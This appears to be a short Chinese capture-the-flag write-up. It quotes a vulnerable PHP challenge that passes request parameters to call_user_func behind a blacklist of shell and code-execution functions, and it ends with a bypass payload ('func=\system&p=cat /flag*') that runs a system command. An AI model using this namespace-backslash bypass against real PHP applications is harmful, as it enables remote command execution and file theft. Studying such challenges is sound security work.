找了一些php读取文件的函数尝试读取源码，试了一个readfile就成功了
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<?php $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents"); function gettime($func, $p) { $result = call_user_func($func, $p); $a= gettype($result); if ($a == "string") { return $result; } else {return "";} } class Test { var $p = "Y-m-d h:i:s a"; var $func = "date"; function __destruct() { if ($this->func != "") { echo gettime($this->func, $this->p); } } } $func = $_REQUEST["func"]; $p = $_REQUEST["p"]; if ($func != null) { $func = strtolower($func); if (!in_array($func,$disable_fun)) { echo gettime($func, $p); }else { die("Hacker..."); } } ?>

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payload：
func=\system&p=cat /flag*